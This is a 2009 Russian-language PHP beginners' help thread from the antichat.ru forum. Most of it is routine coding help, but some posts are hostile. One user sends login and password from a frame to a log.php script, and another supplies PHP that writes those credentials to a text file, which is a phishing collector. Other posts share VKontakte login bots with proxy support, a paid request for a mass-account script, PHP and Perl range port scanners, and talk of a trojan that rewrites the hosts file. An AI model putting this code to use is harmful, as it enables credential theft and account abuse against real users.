Просмотр полной версии : [php] Новичкам: задаем вопросы
Это очень просто - буквально на 2-3 строки. Надо только знать юзер-агента мобилок.
а как их узнать ? :)
а не вариант проверять по браузерам, на пример если не зашли с 5 популярных браузеров на которых сидит 90% пользователей, то значит зашли с телефона :) мне не важно что бы на 100% точно определял
mailbrush
10.11.2009, 23:55
а как их узнать ? :)
а не вариант проверять по браузерам, на пример если не зашли с 5 популярных браузеров на которых сидит 90% пользователей, то значит зашли с телефона :) мне не важно что бы на 100% точно определял
$browsers = array('first', 'second', 'third', 'fourth', 'fifth');
if (in_array($_SERVER['USER_AGENT'], $browsers))
die('Access Deinded!');
else
echo 'Hi, mobileman:)';';
Благодарю, великий Гуру :) от души
только где название браузеров найти, и имеет ли разница версии ? :)
В БД делается таблица, в которую пишется IP и UNIX_TIMESTAMP(). При каждом постинге делается сначала запрос данных из неё с таким IP и временем, не превышающим UNIX_TIMESTAMP() + значение лимита в секундах (для 5 минут это 300). Если есть row, то был постинг и добавление отклоняется.
Ахренеть..я ничего не понял..разъясни в личку пожалуйста..очень прошу..
mailbrush
11.11.2009, 00:33
Ахренеть..я ничего не понял..разъясни в личку пожалуйста..очень прошу..
Все он правильно и понятно объяснил, а то что ты не понял - это уже твоя проблема.
Все он правильно и понятно объяснил, а то что ты не понял - это уже твоя проблема.
"Это уже твоя проблема" - другого я не ожидал..
Понимаю, тебе легко говорить, ты выучил этот язык, но я с ним только неделю.
Ладно, спасибо за ответ, буду делать, что получится, пока незнаю..
И мой вопрос все еще открыт :mad: (https://forum.antichat.ru/showpost.php?p=1677351&postcount=13254)
И мой вопрос все еще открыт :mad: (https://forum.antichat.ru/showpost.php?p=1677351&postcount=13254)
проверять ip, а лучше браузер - __tp://wurfl.sourceforge.net/ получаешь инфу о мобиле пользователя, там и узнаешь поддержку жаба-скрипта
Как добавить элемент в в каждый элемент массива?
простите за тафталогию
KaZ@NoVa
11.11.2009, 10:20
Как добавить элемент в в каждый элемент массива?
простите за тафталогию
array_push()
=)
REBUUS по типу юзер-агента надо ... БД делать)))
=)
REBUUS по типу юзер-агента надо ... БД делать)))
Не так. Вот пример:
$array = array('brbr', 'oblaka', 'solnce');
$add = 'fuck';
//
//Там какаято должна быть функция
echo $array[1]; //Экранирует: brbrfuck
echo $array[2]; //Экранирует: oblakafuck
И мой вопрос все еще открыт :mad: (https://forum.antichat.ru/showpost.php?p=1677351&postcount=13254)
$user = $_SERVER["HTTP_USER_AGENT"];
$check = substr_count($user, 'mob');
if ($check == false) {
echo"Javascripts & etc";
}
Юзер-агентов море, что подтверждает страница в вики - http://ru.wikipedia.org/wiki/User_Agent
Юзер-агентов море, что подтверждает страница в вики - http://ru.wikipedia.org/wiki/User_Agent
Но ни в одном нет "mob"
phpdreamer
11.11.2009, 12:22
Как сделать иммитацию кликов по обьектам?
Например вконтаке все постороено на аяксе... и чтобы вызвать событие необходимо нажимать на кнопки... а без этого никакаго бота не написать(
Как такое делают(клики)?
phpdreamer, поставь кокой-нить перехватчик ХТТП заголовков и снифай запросы, которые отсылаются серверу при нажатии на кноаку, а потом уже реализуй в скрипте отправку этих запросов...
Как сделать иммитацию кликов по обьектам?
Например вконтаке все постороено на аяксе... и чтобы вызвать событие необходимо нажимать на кнопки... а без этого никакаго бота не написать(
Как такое делают(клики)?
Ещё вариант использовать Xuman Emulator (1-2 строчки)
mailbrush
11.11.2009, 13:31
Как сделать иммитацию кликов по обьектам?
Например вконтаке все постороено на аяксе... и чтобы вызвать событие необходимо нажимать на кнопки... а без этого никакаго бота не написать(
Как такое делают(клики)?
HTTP Analyzer + libcurl
Как сделать иммитацию кликов по обьектам?
Например вконтаке все постороено на аяксе... и чтобы вызвать событие необходимо нажимать на кнопки... а без этого никакаго бота не написать(
Как такое делают(клики)?
это очень просто делать не на php, с помощью взаимодействия с IE или Chrome
phpdreamer
11.11.2009, 14:28
mailbrush, спасибо.
scrat, "это очень просто..." так написал бы как
Не могу правильно конвертнуть:
//И так пробовал
$text=iconv("UTF-8","WINDOWS-1251",$polnaya);
mail("мыло", "тема", $text);
//И так...
$text=iconv("WINDOWS-1251","UTF-8",$polnaya);
mail("мыло", "тема", $text);
Изначально страница в utf, пробую её посылать на мыло, приходят "кракозябры"- конвертирую её в WINDOWS-1251, опять кракозябры( но немного другие). Всю голову сломал как получить на мыло нормальный текст.. Помогите...
Какую книгу или видео посоветовали бы для изучение поверхности php? (чтоб понять скрипты и уметь сформирировать инклюды)
когда то видел такую книгу, как PHP глазами хакера (http://www.ozon.ru/context/detail/id/2460012/) (Михаил Фленов)
Это пойдет или тот ориентировано для УЖЕ знающий PHP ?
phpdreamer
11.11.2009, 15:23
1)по отправке почты - прогугли готовые примеры, мб даже классы
2)Книга Фленова не подходит для начала изучения пхп. Там он рассуждает уже на уровне атаки и защиты.
а какой материал посоветуйте изчать ?
мне не надо стать супер-кодером, мне достаточно понимать азы и уметь составить инклюды
phpdreamer
11.11.2009, 16:26
почитай
Стивен Хольцнер - PHP в примерах (Включая версию 6)
phpdreamer
11.11.2009, 16:41
mailbrush,
можеш показать пример отправки двух POST запросов подряд?
я пошел не через курл, а сокетами...
пробовал отправлять данные так как их показывает сниффер, например:
POST /login.php HTTP/1.1
Host: vkontakte.ru
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://vkontakte.ru/
Content-Length: 18
Cookie: remixchk=5; remixsid=nonenone
Pragma: no-cache
Cache-Control: no-cache
op=a_login_attempt
только после каждой строки в коде добавляю \r\n
авторизоватся не получается( я так понял что перед отправкой логина и пароля должно быть выше написаное (судя по снифферу)
а принцып отправки у меня такой:
$fp = fsockopen('vkontakte.ru', 80);
if ($fp) {
fputs($fp,/*<данные со сниффера>*/);
$content = '';
while (!feof($fp)) {
$content .= fgets($fp);
}
fclose($fp);
function vk_login($login,$pass)
{
$login = urlencode($login);
$pass = urlencode($pass);
$ch = curl_init('http://login.vk.com/?act=login');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&pass=$pass&expire=&vk=");
$res = curl_exec($ch);
if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
return $s[1];
else return false;
}
restart_05
11.11.2009, 17:58
К примеру имеется им 77.1.1.1
мне нужно взять 77.1 как это сделать ??
Pashkela
11.11.2009, 18:07
<?
$a = substr("77.1.1.1",0,4);
echo $a;
?>
restart_05
11.11.2009, 18:11
спс
К примеру имеется им 77.1.1.1
мне нужно взять 77.1 как это сделать ??
если необходимо разделить по октетам то например explode, e.g.
$oktet_array=explode('.','77.1.1.1');
echo "$oktet_array[0] . $oktet_array[1]";
либо регуляркой.
ANTIHАCK
11.11.2009, 18:39
Есть скрипт :
<?php
if($_FILES["file"]["size"] > 1024*10*1024)
{
echo ("Размер файла превышает 10 мегабайт");
exit;
}
if(copy($_FILES["file"]["tmp_name"],
"c:/xampp/htdocs/files/".$_FILES["file"]["name"]));
echo "<br>";
echo "Имя загружаемого фала: ".$_FILES['file']['name']."<br>";
echo "Размер загружаемого фала: ".$_FILES['file']['size']." байт<br>";
echo "<br><br>";
echo "<table width='390' border='0' cellpadding='0' cellspacing='5'>
<tr>
<td width='198'>Прямая ссылка: </td>
<td width='210'><form id='form1' name='form1' method='post' action=''>
<input name='textfield' type='text' value='http://localhost/files/".$_FILES['file']['name']."' size='32' />
</form>
</td>
</tr>
<tr>
<td>Ссылка для форума: </td>
<td><input name='textfield2' value='['name']."]Скачать файл ".$_FILES['file']['name']." (http://localhost/files/".$_FILES['file')' type='text' size='32' /></td>
</tr>
<tr>
<td>Ссылка для сайта: </td>
<td><input name='textfield3' type='text' size='32' value='<a href=http://localhost/files/".$_FILES['file']['name'].">Скачать файл ".$_FILES['file']['name']."</a>' /></td>
</tr>
</table>";
?>
Подскажите как сделать что бы файл переименовывался при загрузки скажем в имя: от 1 до 1000... Ммм и как быть с расширением файла? Тогда наверно пусть переименовывает в 1.расширение итп...
Epic wave
11.11.2009, 18:42
$name=mt_rand(1,1000);
Помогите преобразовать дату из RSS Wed, 11 Nov 2009 14:46:32 +0000
в вид 11.11.2009
Byrger
date("m.d.y");
________
0ph.ru
Byrger
date("m.d.y");
эм....
date("m.d.y","Wed, 11 Nov 2009 14:46:32 +0000");
error
Epic wave
11.11.2009, 19:28
Сначала необходимо функцией mktime() получить время в секундах в формате UNIX Timestamp, а потом уже эти секунды передавать в функцию getdate(). (с)
эм....
date("m.d.y","Wed, 11 Nov 2009 14:46:32 +0000");
error
я навел пример как вывести дату ,в том формате
________
0ph.ru
я навел пример как вывести дату ,в том формате
Я это и без вашей помощи прекрасно понимаю.
А прощу помочь по моей проблеме а не по азам функции date()
2 Byrger ну как то так:
echo date("m.d.y",strtotime("Wed, 11 Nov 2009 14:46:32 +0000"));
Vlad&slav
11.11.2009, 21:40
Как посредством php прочекать у пределёного адреса порт, тоесть просто проверить можно ли подключиться, порт не 80 а типа 23,RDP, и чёнть вроде того. Если ешё можно то чтобы был таймаут. Зарание благодарю.
Как посредством php прочекать у пределёного адреса порт, тоесть просто проверить можно ли подключиться, порт не 80 а типа 23,RDP, и чёнть вроде того. Если ешё можно то чтобы был таймаут. Зарание благодарю.
http://www.php.su/articles/?cat=examples&page=065
phpdreamer
11.11.2009, 22:39
Vlad&slav, вот сканер портов на пхп
<?php
error_reporting (E_ALL); // вывод сообщений для всех ошибок
if(empty($_POST["ip"]))die ('<html>
<head>
<title>Online Port Scanner</title>
</head>
<body bgcolor="Black">
<div align="center"><font face="Tahoma" color="Gray">Online Port Scanner</font></div><br><br>
<form action="p.php" method="POST">
<font face="Tahoma" color="Silver"><div align="center">IP-address/Host <input maxlength="15" size="13" type="Text" name="ip" value="">
<br><input type="Submit" value="Scan">
</div>
</font>
</form>
</body>
</html>'); //форма ввода
$portz = array("20","21","23","25","39","43","69","79","80","88","107","109","110",
"111","137","138","139","143","161","464","512","513","514","530",
"544","636","749","1433","1434");
// в данном массиве будут храниться номера портов, которые необходимо сканировать.
// это сделано для эффективного использования ресурсов сервера, зачастую провайдер
// выставляет небольшой таймаут для php скриптов и получится что сканируя все
// 65тысяч портов мы поступаем очень нерационально так как реально полезные из них
// всего пару процентов ;)
$descr = array("FTP data", "FTP control", "Telnet","Simple Mail Transfer Protocol",
"rlp: Resource Location Protocol", "whois", "tftp","finger","http",
"kerberos","rtelnet","pop2","pop3","sunrpc:SUN Remote Procedure Call",
"Netbios name service","Netbios name service", "Netbios datagram service",
"imap4","snmp","kpasswd: kerberos v5","Remote Process Execution",
"remote login","cmd shell","courier rpc","kshell: Kerberos remote shell",
"ldaps","LDAP over TLS/SSL","kerberos-adm","ms-sql-s: Microsoft-SQL-Server",
"ms-sql-m: Microsoft-SQL-Monitor");
// а в этом массиве задаем описания для сервисов, обслуживающих на соответствующих портах
// главное чтобы смещение в массиве порта соответствовало смещению в массиве его описания
// то есть если смещение (индекс) порта с номером 23 == 2 (считаем с 0), значит описание
// для этого порта должно быть расположено так же с индексом 2 в массиве описаний.
$log_path = "pscan.log";
$who = $HTTP_SERVER_VARS['REMOTE_ADDR'];
// объявляем переменные для лога. как это продвинутый сканер и без лога? ;)
// в лог будем писать все, даже адрес того кто сканит. мы же любопытные ;)
$err_path = "pscan.err";
// определяем колличество заданых портов-описаний, далее нам это пригодиться в циклах
$cnt=0; //счетчик
$timeout = 10; // таймаут для инициализации сокета, максимум - 15
if($timeout>15) // а тут можете изменить максимум 8)
$timeout=15;
$chost = strip_tags($_POST['ip']); //загоняем сюда значение параметра hostname,
if($chost==""){ // если запустили наш скрипт без параметра $hostname - громко ругаемся
echo "необходимо задать ip-адрес или имя хоста!";
exit;
}
$ch = $chost[0];
$new_chost="";
@$LOGF = fopen($log_path, "a");
if($LOGF){ // если файл открыт успешно
@ flock($LOGF, 2);
@ fwrite($LOGF, "================================================== ==============n");
if( $ITS_FUCKING_LAMOZ == 1 )
@ fwrite($LOGF, "[!!!] ".date('H:i:s Y-m-d')." :>>> ".$HTTP_SERVER_VARS['REMOTE_ADDR']." scaned $chostn");
else
@ fwrite($LOGF, date('H:i:s Y-m-d')." :>>> ".$HTTP_SERVER_VARS['REMOTE_ADDR']." scaned $chostn");
@ fwrite($LOGF, "================================================== ==============n");
}
// ну а это шапка лога, тоесть дата, айпишник, сканируемый хост...
else{ // если возникла ошибка при логировании - пишем в файл ошибок
@$ERRF = fopen($err_path, "a");
if($ERRF){
@ flock($ERRF, 2);
@ fwrite($ERF, "[date('H:i:s Y-m-d')] невозможно залогировать $whon");
@ flock($ERRF, 3);
@ rewind($ERRF);
@ fclose($ERRF);
}
}
//
$port = 0;
$pcnt = count($portz);
$dcnt = count($descr);
$ccnt = 0;
$errno = 0;
$errstr = "no errorZ";
if( ($pcnt==0) || ($dcnt==0) ){
echo "список портов не пустой. всем на выход.<br>n";
exit;
}
if($pcnt!=$dcnt){
if($pcnt>$dcnt)
$ccnt=$dcnt;
else
$ccnt=$pcnt;
}
else
$ccnt=$pcnt;
// если количество портов и количество описаний разные - обрезаем до равного
echo "сканируем ".$chost.".....<br><table>";
echo str_repeat(" ", 256);
for($i=0; $i<$ccnt; $i++){
if(!$timeout)
@$usenet_handle = fsockopen($chost, (int)$portz[$i]);
else
@$usenet_handle = fsockopen($chost, (int)$portz[$i], &$errno, &$errstr, $timeout);
if(!$usenet_handle)
printf('
<div align="center">refused</div></td>
<div align="center">%s</div></td>
<div align="center">%s</div></td>
<div align="center">%s</div></td>
<div align="center">%s</div></td>
</tr>' , $chost, $portz[$i], $descr[$i], $errstr
);
else{
@ fwrite($LOGF, $chost."t".$portz[$i]."t".$descr[$i]."t".$errstr."n");
printf('
<div align="center">соединен</div></td>
<div align="center">%s</div></td>
<div align="center">%s</div></td>
<div align="center">%s</div></td>
<div align="center">%s</div></td>
</tr>' , $chost, $portz[$i], $descr[$i], "no err0rZ"
);
} // end else
flush();
} // end for
@ fwrite($LOGF, "nn");
@ flock($LOGF, 3);
@ rewind($LOGF);
@ fclose($LOGF);
unset($chost);
unset($new_chost);
unset($timeout);
unset($port);
unset($pcnt);
unset($dcnt);
unset($ccnt);
unset($errno);
unset($errstr);
?>
но на перле лучше:
#!/usr/bin/perl -w
# PortMap by nerezus
# The Artistic License
# ICQ 547097
#
# A tool for scan ip range
use strict;
use Socket;
if (@ARGV<2) {print "Usage: portmap.pl from_host(ip) to_host(ip) [portfile.txt(ports via [space])]\n";exit(0);}
my $fremote=shift||'127.0.0.1';
my $tremote=shift||'127.0.0.1';
my $portfile=shift;
my $ports;
if ($portfile) {open (PF, $portfile); $ports=<PF>; close(PF);}
else {$ports="21 80";}
my @ports=split(/ /, $ports);
my @flist=split(/\./, $fremote);
my @tlist=split(/\./, $tremote);
my $fip=$flist[0]*256*256*256+$flist[1]*256*256+$flist[2]*256+$flist[3];
my $tip=$tlist[0]*256*256*256+$tlist[1]*256*256+$tlist[2]*256+$tlist[3];
for (my $i=$fip; $i<=$tip; $i++) {
my $tmp=$i;
my $d1=int($tmp / (256*256*256)); $tmp=$tmp-$d1*(256*256*256);
my $d2=int($tmp / (256*256)); $tmp=$tmp-$d2*(256*256);
my $d3=int($tmp / 256); $tmp=$tmp-$d3*256;
my $d4=$tmp;
my $ip="$d1.$d2.$d3.$d4";
my $host=gethostbyname($ip);
foreach my $port (@ports){
my $dest=sockaddr_in($port, $host);
socket (S, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
if (connect(S, $dest)) {print "[".scalar(localtime)."] $ip:$port OK\n";}
# else {print "[".scalar(localtime)."] $ip:$port ERR\n";}
close S;
}
}
Lucky0929
12.11.2009, 01:19
дам 30$ максимум 40$ за скрипт для контакта
добавления в акки которые в текстовом доке, приложения ( желательно с антикапчей)
Такой вопрос возник, сижу уже больше часа, пытаюсь впоймать на вкантакте капчу при авторизации, но что-то немогу увидеть сообщение о вводе капчи, хотя оно есть.
Вот функция для авторизации:
function vk_login($login,$pass,$proxy='')
{
$login = urlencode($login);
$pass = urlencode($pass);
$ch = curl_init('http://login.vk.com/?act=login');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3');
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_REFERER, 'http://vkontakte.ru/');
if(!empty($proxy))
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "email=$login&pass=$pass&expire=&vk=");
$res = curl_exec($ch);
if(preg_match('#name=\'s\' id=\'s\' value=\'(.*)\'#',$res,$s))
{
echo urldecode($login)." Успешно авторизован.\r\n";
return $s[1];
}
else
return false;
}
при работе с функцией getimagesize из GD , если файл к которому функция пытается получить доступ не существует , генерируется предупреждение . Как сделать так что бы это предупреждение не показывалось пользователю ?
error_reporting(0);
или or die('mess');
Pashkela
12.11.2009, 19:50
[']при работе с функцией getimagesize из GD , если файл к которому функция пытается получить доступ не существует , генерируется предупреждение . Как сделать так что бы это предупреждение не показывалось пользователю ?
ini_set("display_errors","0");
это , я так понимаю, глобально ошибки отключит , а можно как-нибудь конкретно эту ошибку отключить ?
Pashkela
12.11.2009, 20:38
<?php
if (getimagesize('123.jpg')) echo "Ok";
else echo "Xatcker detected";
?>
Alpha][, если у тебя выскакивает NOTICE то попробуй его отключить в php.ini таким образом error_reporting = E_ALL & ~E_NOTICE
prostopovelitel
12.11.2009, 20:50
Какой то хацкер заспамил весь вконтакт ссылкой на какой то трой. Чем вскрыть трой или как его переделать под себя???
или хотябы узнать куда он шлёт инфу
Krist_ALL
12.11.2009, 20:52
Alpha][ поставь перед функцией @
Alpha][ поставь перед функцией @
$img = @function(var1,var2...varN);
Для понятности.
prostopovelitel
12.11.2009, 21:19
Deani, вот ссылки которые он оставляет на стенках вконтакта в ввиде граффити...
Всем остальным не рекомендую туда заходить т.к. рискуете остаться без пароля...
vk-info.tk
guru-vk.tk
Krist_ALLm0Hze То что нужно , спасибо .
prostopovelitel, на первом сайте программа редактирует файл C:\WINDOWS\system32\drivers\etc\hosts и делает что то вроде этого
127.0.0.1 vkontakte.ru
или хотябы узнать куда он шлёт инфу
Просто проснифай траффик.
phpdreamer
12.11.2009, 22:38
Alpha][,
в PHP для обработки фатальных ошибок лучше всего юзать try catch
try { // здесь производим опасные действия, т.е. те действия которые могут бросить исключение
} catch (Exception $e) { // здесь мы оказываемся если поймали исключение с типом Exception, которое помещается в переменную $e
}
http://phpclub.ru/faq/PHP5/Exception
можно ли при помощи функции include инклудить файл до определенной строки и начиная с определенной строки ?
можно ли при помощи функции include инклудить файл до определенной строки и начиная с определенной строки ?
Можно написать такую функцию.
$include = exinc('file.php',10,56);
//Далее считываем файл,выбираем нужные нам строки,и пишем в переменную ${execute};
eval($execute);
Далее уже дело техники,и ума программиста в плане безопасности своих творений.
можно ли при помощи функции include инклудить файл до определенной строки и начиная с определенной строки ?
Как вариант могу предложить, считывать нужный файл как надо (с какой - по какую строку). Затем через eval() (http://ru.php.net/manual/en/function.eval.php) выполнять.
[Forest]
13.11.2009, 18:41
Сделал авторизацию... Если я уже авторизовался то второй раз форма не должна выводиться, но почему-то выводится :( код:
if($_GET['page'] == 'login')
{
echo "<title>pizdec.ru - login</title>";
if(session_is_registered("login") && session_is_registered("pwd"))
{
echo "<p><b>$_SESSION[login],</b> Вы уже авторизованные!</p>";
}
else
{
if($_POST['username'] && $_POST['pwd'])
{
$sql=mysql_query("select * from users where login='{$username}' and password='{$pwd}'");
$num=mysql_num_rows($sql);
$myrow=mysql_fetch_array($sql);
if($num>0)
{
echo "<p><b>$_POST[username]</b>, Вы авторизовались! ваша группа - <b>$myrow[level]</b></p>";
}
else
{
echo "<p>Вы ввели непревельнный логин или пароль! <a href=index.php?page=login>Назад</a></p>";
}
}
else
{
echo "
<form method=post>
<table>
<tr>
<td><input type=text name=username></td>
<td> - Login</td>
</tr>
<tr>
<td><input type=password name=pwd></td>
<td> - Password</td>
</tr>
<tr>
<td><input type=submit value=Войти></td>
</tr>
</table>
</form>";
}
}
}
Подскажите как сделать...
после успешной авторизации ставь сессию
________
0ph.ru
[Forest]
13.11.2009, 19:02
после успешной авторизации ставь сессию
точно, забыл:
session_register('login');
session_register('pwd');
спс :)
Есть команда bin2hex для перевода в хекс, а есть команда декода?
Есть команда bin2hex для перевода в хекс, а есть команда декода?
dechex? нет?
Спс, ток как запихнуть туды несколько значений? Одно число он норм декодит, там мб разделитель какой?
А мб в цикле массив? Или,что проще, массив значений,переделать:
array_map('dechex',$array);
Замутил функцию. Мб кому пригодится:
function HexDecode($s)
{
for($i=0;$i<strlen($s)-1;$i++) {
$symbol_one = $s[$i];
$symbol_two = $s[$i+1];
$r = dechex($symbol_one.$symbol_two);
$res .= $r;
$i=$i+1;
}
return $res;
}
Замутил функцию. Мб кому пригодится:
function HexDecode($s)
{
for($i=0;$i<strlen($s)-1;$i++) {
$symbol_one = $s[$i];
$symbol_two = $s[$i+1];
$r = dechex($symbol_one.$symbol_two);
$res .= $r;
$i=$i+1;
}
return $res;
}
echo HexDecode("1010111015");
Повторюсь,цивильнее делать так:
$array = array('hex_string1','hex_string2','hex_stringN');
$dechex = array_map('dechex',$array);
vardump($dechex);
Намек понятен?
Мне плевать как правельнее )
Мне плевать как правельнее )
Я на твои вопросы больше не отвечаю.
Да не задавайся ты так, я просто дал понять, что меня не интересует реализация и цивильность, тем более тут пара строчек кода. А за помощь спасибо, не парься ты, личного ничего ))
Хочу поставить себе SiTime CMS (300kb) (http://sitime.ru/files/SiTime-Full-v081.tgz) (очень мала, движок состоит из одного файла), но на локолхосте кмс работает прекрасно. А вот на хостинге останавливается выполнение скрипта на середине =(.
Собственно код где якобы происходит ошибка: if (mb_strlen($r['text'],'UTF-8') > $shorten) {...}. Прерывается на mb_strlen($r['text'],'UTF-8'). Так где ошибка? Уже и php.ini поставил как на локалхосте, не помогает =(. Версия пыха: 5.2.9.
phpdreamer
14.11.2009, 12:04
Хочу поставить себе SiTime CMS (300kb) (http://sitime.ru/files/SiTime-Full-v081.tgz) (очень мала, движок состоит из одного файла), но на локолхосте кмс работает прекрасно. А вот на хостинге останавливается выполнение скрипта на середине =(.
Собственно код где якобы происходит ошибка: if (mb_strlen($r['text'],'UTF-8') > $shorten) {...}. Прерывается на mb_strlen($r['text'],'UTF-8'). Так где ошибка? Уже и php.ini поставил как на локалхосте, не помогает =(. Версия пыха: 5.2.9.
мб трабла с кодировкой
как там http://forum.antichat.ru/thread144161.html
мб трабла с кодировкой
как там http://forum.antichat.ru/thread144161.html
проверял уже, дело не в этом :(
проверял уже, дело не в этом :(
Проблем может быть несколько!
1. Если там есть пути типа /home/названия сайта/ и т.д. проверь их! Так как на localhost они другие!
2. Настройка PHP создай на хосте файл info.php а в нем пропиши:
phpinfo();
И посмотри включена ли функция STR!
Проблем может быть несколько!
1. Если там есть пути типа /home/названия сайта/ и т.д. проверь их! Так как на localhost они другие!
2. Настройка PHP создай на хосте файл info.php а в нем пропиши:
phpinfo();
И посмотри включена ли функция STR!
1) там какбэ
function site() {
$host = 'http://'.$_SERVER['HTTP_HOST'];
$directory = dirname($_SERVER['SCRIPT_NAME']);
$website = $directory == '/' ? $host.'/' : $host.$directory.'/';
return $website;
}
2)Функция? Может модуль? во всяком случае подобного нет. :o
xxxBARTONxxx
14.11.2009, 22:35
JavaScript передаёт логин и пароль из фрейма, на php
таким кодом:
............
img = new Image();
img.onload = p();
img.src = "log.php?c=" + login + ';' + pass;
помогите пожалуйста сделать запись этих данным в файл.
if(isset($_GET['c']) || !empty($_GET['c'])){
$open = fopen('log.txt','a');
fwrite($open,$_GET['c']."\r\n");
fclose($open);
}else{
header("Location: index.php");
}
xxxBARTONxxx
15.11.2009, 01:18
странно... не получается, по пробовал на виртуальном сервере, создает файл
log.php c=логин;пароль
что я не так делаю?
xxxBARTONxxx
Почему log.php c=логин;пароль
должно быть
log.php?c=логин;пароль
xxxBARTONxxx
15.11.2009, 02:20
в джава скрипте написано
img = new Image();
img.onload = p();
img.src = "log.php?c= " + login + ';' + pass;
при запуске на виртуальном сервере, ничего не записывает в файл log.txt, методом пользователя "m0Hze", а создает новый файл
log.php c=логин;пароль (именно так, знак вопроса заменяется пробелом)
сори, плохо разбираюсь в этом))
но вроде правильно делаю.
xxxBARTONxxx
15.11.2009, 02:27
может есть другой способ сохранить логин и пас из фрейма?
может есть другой способ сохранить логин и пас из фрейма?
Есть такой способ!
1. создаешь базу MySQL
2. создаешь в ней таблицу userlist
3. в userlist поля id, user, pass
4. создаешь файл lock.php и встовляешь в него вот такой код:
$db = mysql_connect ("localhost","имя пользвателя(root)","пароль к нему");
mysql_select_db ("имя базы",$db)
if (!isset($_SERVER['PHP_AUTH_USER']))
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
else {
if (!get_magic_quotes_gpc()) {
$_SERVER['PHP_AUTH_USER'] = mysql_escape_string($_SERVER['PHP_AUTH_USER']);
$_SERVER['PHP_AUTH_PW'] = mysql_escape_string($_SERVER['PHP_AUTH_PW']);
}
$query = "SELECT pass FROM userlist WHERE user='".$_SERVER['PHP_AUTH_USER']."'";
$lst = @mysql_query($query);
if (!$lst)
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
if (mysql_num_rows($lst) == 0)
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
$pass = @mysql_fetch_array($lst);
if ($_SERVER['PHP_AUTH_PW']!= $pass['pass'])
{
Header ("WWW-Authenticate: Basic realm=\"Admin Page\"");
Header ("HTTP/1.0 401 Unauthorized");
exit();
}
}
5. В файлах которые надо залочить точнее запаролить пишешь в самом верху кода просто:
include("lock.php");
Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись: if(isset($_POST['mess'])){
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$m = $_POST['mess'];
$m = trim($m);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
} s
Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
Помогите пожалуйста:
Вот форма: <INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
Вот запись: if(isset($_POST['mess'])){
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$m = $_POST['mess'];
$m = trim($m);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
} s
Но всёравно при нажатии submit записывается пустое место,а при обновлении страницы повтряется старый запрос,как исправить?
Форма:
<form name="form1" method="post" action="файл с твоим обрабочиком тобишь твой код (kod.php)">
<INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
</form>
kod.php
if(isset($_POST['mess'])){
$mess = $_POST['mess']
} else {
echo ("Переменная mess не передона");
}
if ($mess == '') {
echo ("Переменная mess пуста");
} else {
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$mess = trim($mess);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
}
Неа, к сожалению на многократное нажатие кнопки отправить выдаёт много пустых сообщений...
Как можно сделать проверку на сообщение,если оно более 1го символа тогда отправить?
Неа, к сожалению на многократное нажатие кнопки отправить выдаёт много пустых сообщений...
Как можно сделать проверку на сообщение,если оно более 1го символа тогда отправить?
if(isset($_POST['mess'])) {
$mess = $_POST['mess'];
} else {
echo ("Переменная mess не передона");
exit();
}
if ($mess == '') {
echo ("Переменная mess пуста");
exit();
} else {
$fh = fopen("mess.txt","a");
$today = date("H:i:s");
$mess = trim($mess);
fwrite($fh,"<BR><FONT COLOR='#0000CC'>$today </FONT><FONT COLOR='#FF0000'>$ip</FONT>$m<BR>");
fclose($fh);
}
Обишка: Parse error: syntax error, unexpected '}' in Z:\home\site\www\vid.php on line 16
а конкретно сам скрипт,может в нём ошибка?
<html>
<form name="form1" method="post" action="vid.php">
<INPUT TYPE="text" NAME="mess"><BR>
<INPUT TYPE="submit" value="Отправить"><BR>
</form>
<?php $today = date("H:i:s"); echo ("Щас :<b> $today</b>") ?>
</html>
<?php
#вывели данные
$fh = file("mess.txt");
